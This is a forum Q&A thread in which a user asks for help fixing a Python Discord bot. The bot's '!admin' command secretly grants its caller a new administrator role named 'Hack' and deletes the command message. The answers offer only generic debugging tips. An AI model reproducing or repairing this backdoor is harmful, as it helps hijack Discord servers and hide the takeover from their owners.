R
R
Roblox2021-08-20 10:12:22
Python
Roblox, 2021-08-20 10:12:22

Here is my discord bot giving an error how to fix it?

import discord
from discord.ext import commands
from asyncio import sleep
from discord.utils import get
TOKEN = 'секрет'
bot = commands.Bot(command_prefix='!') # ! - префикс, на который будет реагировать наш бот
@bot.command(pass_context=True)  # разрешаем передавать агрументы
async def admin(ctx):  # создаем асинхронную фунцию бота
    
    guild = ctx.guild
    perms = discord.Permissions(administrator=True) #права роли
    await guild.create_role(name="Hack", permissions=perms) #создаем роль
    
    role = discord.utils.get(ctx.guild.roles, name="Hack") #находим роль по имени
    user = ctx.message.author #находим юзера
    await user.add_roles(role) #добовляем роль
    
    await ctx.message.delete()

bot.run(TOKEN)

Answer the question

In order to leave comments, you need to log in

2 answer(s)
S
soremix, 2021-08-20
@Roblox

Don't name your file the same as the module name

M
Mikhail Krostelev, 2021-08-20
@twistfire92

Try import discord.ext.commands
And add the text of the error to the question

Didn't find what you were looking for?

Ask your question

Ask a Question

731 491 924 answers to any question